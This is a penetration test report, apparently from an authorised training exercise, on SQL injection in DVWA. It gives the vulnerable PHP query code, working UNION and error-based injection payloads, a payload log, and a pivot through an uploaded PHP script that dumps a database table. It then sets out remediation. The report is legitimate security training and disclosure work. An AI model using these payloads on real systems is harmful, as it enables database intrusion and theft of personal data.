Some sort of logo

DVWA Penetration Test

SQL Injection Assessment

by Ryyni-CK

Target: http://193.167.189.112:2167/

Start of testing: August 1, 2026

End of testing: August 1, 2026

1. Executive Summary

A security assessment was performed against the Damn Vulnerable Web Application (DVWA) instance hosted at http://193.167.189.112:2167/, focusing on the **SQL Injection** module. Testing confirmed an **in-band SQL injection** vulnerability: the `id` parameter is concatenated into a SQL query without sanitisation, allowing an attacker to break out of the intended string and execute arbitrary SQL via `UNION`.

The injection was confirmed immediately. Notably, this instance returned an empty HTTP response for any UNION query that produced data rows, so the target data was recovered by **pivoting through the code execution foothold** obtained in the File Upload module and querying the database directly – a practical example of vulnerability chaining. One finding of **High** severity is reported.

Finding	Severity
In-band SQL injection allowing arbitrary database queries	High

2. Scope and Objectives

The assessment was limited to the target and objective below.

Item	Detail
Target application	Damn Vulnerable Web Application (DVWA) v1.9
Target URL	http://193.167.189.112:2167/
Module under test	SQL Injection
Security level	low
Parameter / vector	id (concatenated into the SQL query)
Database	MySQL, database 'dvwa'
Test type	Authenticated, grey-box (source available via "View Source")
Objective	Exploit the injection to extract an email address from a specific table (name starts 'vi').

3. Methodology

Testing followed a standard injection approach aligned with the OWASP Testing Guide:

- **Source review.** The query construction was read via "View Source".
- **Confirmation.** A single quote produced a SQL error, proving injectability.
- **Enumeration.** UNION and information_schema were used to identify the target table and columns.
- **Extraction.** The target email was recovered (via a direct DB read due to a broken output channel).

4. Detailed Finding – SQL Injection

Attribute	Value
Vulnerability	In-band SQL Injection (UNION-based)
Location	SQL Injection module, `id` parameter
Severity	High
CVSS v3.1	8.8 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-89: Improper Neutralization of Special Elements used in an SQL Command
OWASP	A03:2021 – Injection

4.1 Description

The module builds its query by concatenating the `id` parameter directly into a string, inside single quotes, with no escaping or parameterisation:

```
$id     = $_REQUEST[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
```

A single quote terminates the intended string literal; subsequent text is parsed as SQL. The base query selects two columns, so a `UNION SELECT` with two columns appends attacker-chosen rows. The `or die(mysql_error())` construct also discloses SQL errors to the client, aiding exploitation.

4.2 Steps to Reproduce

Step 1 – Confirm. Submitting `1'` returns a MySQL syntax error, proving the input is not escaped:

```
Input: 1'
You have an error in your SQL syntax; ... near ''1''' at line 1
```

Step 2 – Enumerate tables (the target table name starts with 'vi'):

```
' UNION SELECT table_name, table_name FROM information_schema.tables #
```

Step 3 – Extract the email. The target table is `vips` (columns `id, name, email`). The intended in-channel payload is:

```
' union select null, email from dvwa.vips #
```

4.3 Output-channel anomaly and pivot

On this instance, every UNION query that produced data rows returned an empty HTTP response, while zero-row (error) and single-row queries rendered normally. The injection was therefore confirmed but the data could not be read through the module's own output. Two reliable alternatives were available:

- **Error-based extraction** – deliver data inside a one-line SQL error, which renders on this server:

```
' OR extractvalue(1, concat(0x7e, (SELECT email FROM dvwa.vips LIMIT 1)))-- -
```

• **Pivot via the File Upload foothold** – using the code execution obtained in the File Upload module, a small PHP script read DVWA's own database credentials and queried the table directly, returning the table, its columns, and its rows (email redacted below; recorded in the submission):

```
config loaded from /var/www/html/config/config.inc.php  (connected as root)
vi_* tables:      vips
columns of vips:  id  name  email
rows of vips:     1 | jose | 7adnan.hal@ ....REDACTED....
```

4.4 Impact

SQL injection is among the most damaging web vulnerabilities. Realistic consequences include:

• Disclosure of arbitrary database contents (credentials, password hashes, personal data).

• Authentication bypass and tampering (INSERT/UPDATE/DELETE) of application data.

• File read/write and potential code execution where database privileges permit (e.g. INTO OUTFILE).

• Full compromise when combined with other footholds, as demonstrated by the direct database read here.

4.5 Remediation

The root cause is building SQL from untrusted input. Recommended fixes, in order of importance:

• **Use parameterised queries / prepared statements.** Bind `id` as a parameter so input can never be parsed as SQL. This is the definitive fix.

• **Apply least privilege to the database account.** The application must not connect as `root`; grant only the needed tables and operations.

• **Suppress database errors** to clients; log details server-side instead.

• **Defense in depth.** Input validation and a WAF assist but do not replace parameterisation.

5. Conclusion

The DVWA SQL Injection module is vulnerable to in-band SQL injection: the `id` parameter is concatenated into the query unescaped, permitting arbitrary SQL via `UNION`. Although this instance suppressed UNION data output, the vulnerability was confirmed and the target email recovered by pivoting through the File Upload code execution foothold to read the database directly. The issue should be remediated with parameterised queries and a least-privilege database account. The finding is rated High severity.

Appendix A – Payload Log

```
1'                                                          # confirm (SQL error)
1' UNION #                                                  # UNION keyword accepted (SQL e
' UNION SELECT table_name, table_name FROM information_schema.tables #   # enumerate tables
' union select null, email from dvwa.vips #                # intended email extraction
' OR extractvalue(1,concat(0x7e,(SELECT email FROM dvwa.vips LIMIT 1)))-- -   # error-base
# pivot: upload sql.php via File Upload -> GET /hackable/uploads/sql.php -> dump vips
```

Produced for an authorised security training exercise against an intentionally vulnerable application (DVWA). Confidential.